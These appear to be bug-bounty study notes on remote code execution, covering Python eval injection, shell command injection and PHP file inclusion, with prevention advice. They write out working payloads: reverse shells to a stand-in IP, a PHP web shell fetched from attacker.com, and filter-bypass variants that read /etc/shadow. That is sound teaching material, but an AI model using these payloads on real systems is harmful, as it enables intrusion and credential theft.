Remote Code Execution

⋮ 15/08/2022

Aug 14, 2022

9 min read
RCE Web-Notes

Remote code execution (RCE) occurs when an attacker can **execute arbitrary code** on a target machine because of a vulnerability or misconfiguration. RCEs are extremely dangerous, as attackers can often ultimately compromise the web application or even the underlying web server.

References

Remote Code Execution (RCE)

GitHub - alexbieber/Bug_Bounty_writeups: BUG BOUNTY WRITEUPS - OWASP TOP 10

Remote Code Execution (RCE)

Hacksplaining: Web Security for Developers

Web Application Penetration Testing Notes

Remote Code Execution - Pastebin.com

Writeups Bug Bounty hackerone

GitHub - ngalongc/bug-bounty-reference: Inspired by https://github.com/djadmin/awesome-bug-bounty, a list of bug bounty write-up that is categorized by the bug nature

---

Mechanisms

Sometimes attackers can achieve RCE by injecting malicious code directly into executed code. These are *code injection vulnerabilities.* Attackers can also achieve RCE by putting malicious code into a file executed or included by the victim application, vulnerabilities called *file inclusions.*

Code Injection

For example, let's say you're a developer trying to build an online calculator. Python's `eval()` function accepts a string and executes it as Python code: `eval("1+1")` would return 2, and `eval("1*3")` would return 3. Because of its flexibility in evaluating a wide variety of user-submitted expressions, `eval()` is a convenient way of implementing your calculator.

This is a a program take the user input in through it to `eval()`

```
def calculate(input):
 return eval("{}".format(input))
result = calculate(user_input.calc)
print("The result is {}.".format(result))
```

When operating as expected, the following user input would output the string The result is 3:

```
GET /calculator?calc=1+2 Host: [example.com](http://example.com/)
```

Imagine an attacker submitted the following HTTP request to the `calculate()` function:

```
GET /calculator?calc="__import__('os').system('ls')"
Host: example.com
```

As a result, the program would execute `eval("**import**('os').system('ls')")` and return the results of the system command ls.

This input would cause the application to call `os.system()` and spawn a reverse shell back to the IP 10.0.0.1 on port 8080:

```
GET /calculator?calc="__import__('os').system('bash -i >&
/dev/tcp/10.0.0.1/8080 0>&1')"
Host: example.com
```

A *reverse shell* makes the target server communicate with the attacker's machine and establish a remotely accessible connection allowing attackers to execute system commands.

Let's say example.com also has a functionality that allows you to download a remote file and view it on the website. To achieve this functionality, the application uses the system command `wget` to download the remote file:

```
import os
def download(url):
 os.system("wget -O- {}".format(url))
display(download(user_input.url))
```

For example, if you submit the following request, the application would download the source code of Google's home page and display it to you:

```
GET /download?url=google.com
Host: example.com
```

For instance, the following input would cause the application to spawn a reverse shell back to the IP 10.0.0.1 on port 8080:

```
GET /download?url="google.com;bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
Host: example.com
```

File Inclusion

Another way attackers can achieve RCE is by making the target server include a file containing malicious code. This file inclusion vulnerability has two subtypes: *remote file inclusion* and *local file inclusion*.

Remote file inclusion vulnerabilities occur when the application allows arbitrary files from a remote server to be included.

The following PHP program calls the PHP include function on the value of the **user-submitted** HTTP GET parameter page. The include function then includes and evaluates the specified file:

```
<?php
 // Some PHP code
 $file = $_GET["page"];
 include $file;
 // Some PHP code
?>
```

This code allows users to access the various pages of the website by **changing the page parameter**. For example, to view the site's Index and About pages, the user can visit http://example.com/?page=index.php and http://example.com/?page=about.php, respectively.

But if the application **doesn't limit** which file the user includes with the page parameter, an attacker can include a malicious PHP file hosted on their server and get that executed by the target server.

Here is the content of our malicious PHP file:

```
<?PHP
 system($_GET["cmd"]);
?>
```

The malicious script will then make the target server execute the system command ls:

```
http://example.com/?page=http://attacker.com/malicious.php?cmd=ls
```

Notice that this same feature is vulnerable to **SSRF** and **XSS** too. This endpoint is vulnerable to SSRF because the page could load info about the local system and network. Attackers could also make the page load a **malicious JavaScript** file and trick the user into clicking it to execute a reflected XSS attack.

On the other hand, *local file inclusions* happen when applications include files in an unsafe way, but the inclusion of remote files isn't allowed.

In this case, attackers need to first **upload a malicious file to the local machine**, and then execute it by using local file inclusion.

The following PHP file first **gets the HTTP GET parameter** page and then calls the PHP include function after **concatenating page with a directory name** containing the files users can load:

```
<?php
 // Some PHP code
 $file = $_GET["page"];
 include "lang/".$file;
 // Some PHP code
?>
```

The site's lang directory contains its home page in multiple languages. For example, users can visit http://example.com/?page=de-index.php and http:// example.com/?page=en-index.php to visit the German and English home pages, respectively. These URLs will cause the website to load the page `/var/www/html/lang/de-index.php` and `/var/www/html/lang/en-index.php` to display the German and English home pages.

Let's say that example.com allows users to upload files of all file types, then stores them in the `/var/www/html/uploads/` USERNAME directory. The attacker could upload a malicious PHP file to the uploads folder. Then they could use the `sequence ../ to escape` out of the lang directory and execute the malicious uploaded file on the target server:

`http://example.com/?page=../uploads/USERNAME/malicious.php`

Prevention

- Avoid inserting user input into code that gets evaluated.
- You should treat `useruploaded` files as untrusted.

And to prevent file inclusion vulnerabilities

- Avoid including files based on user input.
- If not possible disallow the inclusion of remote files and create an `allowlist` of local files that your programs can include.
- Avoid calling system commands directly and use the programming language's system APIs instead.

PHP has a function named `mkdir(DIRECTORY_NAME)`. You can use it to create new directories instead of calling `system("mkdir DIRECTORY_NAME")`.

- You should implement strong input validation for input passed into dangerous functions like `eval()` or `include()`.
- Finally, staying up-to-date with **patches** will prevent your application's dependencies from introducing RCE vulnerabilities.

Hunting for RCEs

Like many of the attacks we've covered thus far, RCEs have two types: classic and blind. *Classic RCEs* are the ones in which you can read the results of the code execution in a subsequent HTTP response, whereas *blind RCEs* occur when the malicious code is executed but the returned values of the execution do not appear in any HTTP response.

Step 1: Gather Information About the Target

You should find out information about the **web server**, **programming language**, and other technologies used by your current target.

Step 2: Identify Suspicious User Input Locations

When hunting for code injections, take note of every ***direct user-input location***, including `URL parameters`, `HTTP headers`, `body parameters`, and `file uploads`. Sometimes applications parse user-supplied files and concatenate their contents unsafely into executed code, so any input that is eventually passed into commands is something you should look out for.

Step 3: Submit Test Payloads

Python payloads

This command is designed to print the string RCE test! if Python execution succeeds:

```
print("RCE test!")
```

This command prints the result of the system command ls:

```
"__import__('os').system('ls')"
```

This command delays the response for 10 seconds:

```
"__import__('os').system('sleep 10')"
```

PHP payloads

This command is designed to print the local PHP configuration information if execution succeeds:

```
phpinfo();
```

This command prints the result of the system command ls:

```
<?php system("ls");?>
```

This command delays the response for 10 seconds:

```
<?php system("sleep 10");?>
```

Unix payloads

This command prints the result of the system command ls:

```
;ls;
```

These commands delay the response for 10 seconds:

```
| sleep 10;
& sleep 10;
` sleep 10;`
$(sleep 10)
```

for remote file inclusion, you could try several forms of a URL that points to your malicious file hosted offsite:

```
http://example.com/?page=http://attacker.com/malicious.php
http://example.com/?page=http:attacker.com/malicious.php
```

And for local file inclusion vulnerabilities, try different URLs pointing to local files that you control:

```
http://example.com/?page=../uploads/malicious.php
http://example.com/?page=..%2fuploads%2fmalicious.php
```

Step 4: Confirm the Vulnerability

Finally, confirm the vulnerability by executing harmless commands like `whoami`, `ls`, and `sleep 5`.

Escalating the Attack

For classic RCEs, create a proof of concept that executes a harmless command like whoami or ls. You can also prove you've found an RCE by reading a common system file such as /etc/passwd.

You can use the cat command to read a system file: `cat /etc/passwd`

Finally, you can create a file with a distinct filename on the system, such as `rce_by_YOUR_NAME.txt` so it's clear that this file is a part of your POC. You can use the touch command to create a file with the specified name in the current directory: `touch rce_by_YOUR_NAME.txt`

For blind RCEs, create a POC that executes the sleep command. You can also create a **reverse shell on the target machine** that connects back to your system for a more impactful POC. However, this is often against program rules, so be sure to check with the program beforehand.

Bypassing RCE Protection

For Unix system commands, you can insert **quotes** and **double quotes** without changing the command's behavior. You can also use wildcards to substitute for arbitrary characters if the system is filtering out certain strings. Finally, any empty command substitution results can be inserted into the string without changing the results. For example, the following commands will all print the contents of `/etc/shadow`:

```
cat /etc/shadow
cat "/e"tc'/shadow'
cat /etc/sh*dow
cat /etc/sha``dow
cat /etc/sha$()dow
cat /etc/sha${}dow
```

You can also vary the way you write the same command in PHP. For example, PHP allows you to concatenate function names as strings. You can even hex-encode function names, or insert PHP comments in commands without changing their outcome:

```
/* Text surrounded by these brackets are comments in PHP. */
```

For example, say you want to execute this system command in PHP:

```
system('cat /etc/shadow');
```

The following example executes a system command by concatenating the strings `sys` and `tem`:

```
('sys'.'tem')('cat /etc/shadow');
```

The following example does the same thing but inserts a blank comment in the middle of the command: `system/**/('ls');`

And this line of code is a hex-encoded version of the system command: `'\x73\x79\x73\x74\x65\x6d'('ls');`

Similar behavior exists in Python. The following are all equivalent in Python syntax:

```
__import__('os').system('cat /etc/shadow')
__import__('o'+'s').system('cat /etc/shadow')
__import__('\x6f\x73').system('cat /etc/shadow')
```

For example, if the firewall blocks requests that contain the string system, you can split your RCE payload into chunks, like so:

```
GET /calculator?calc="__import__('os').sy"&calc="stem('ls')"
Host: example.com
```

The parameters will get through the firewall without issue, since the request technically doesn't contain the string system. But when the server processes the request, the parameter values will be concatenated

into a single string that forms our RCE payload: `"**import**('os').system('ls')"`.

Finding Your First RCE!

1. Identify suspicious user-input locations. For code injections, take note of every user-input location, including URL parameters, HTTP headers, body parameters, and file uploads. To find potential file inclusion vulnerabilities, check for input locations being used to determine or construct filenames and for file-upload functions.
2. Submit test payloads to the input locations in order to detect potential vulnerabilities.
3. If your requests are blocked, try protection-bypass techniques and see if your payload succeeds.
4. Finally, confirm the vulnerability by trying to execute harmless commands such as `whoami`, `ls`, and `sleep 5`.
5. Avoid reading `sensitive system files` or altering any files with the vulnerability you've found.
6. Submit your first RCE report to the program!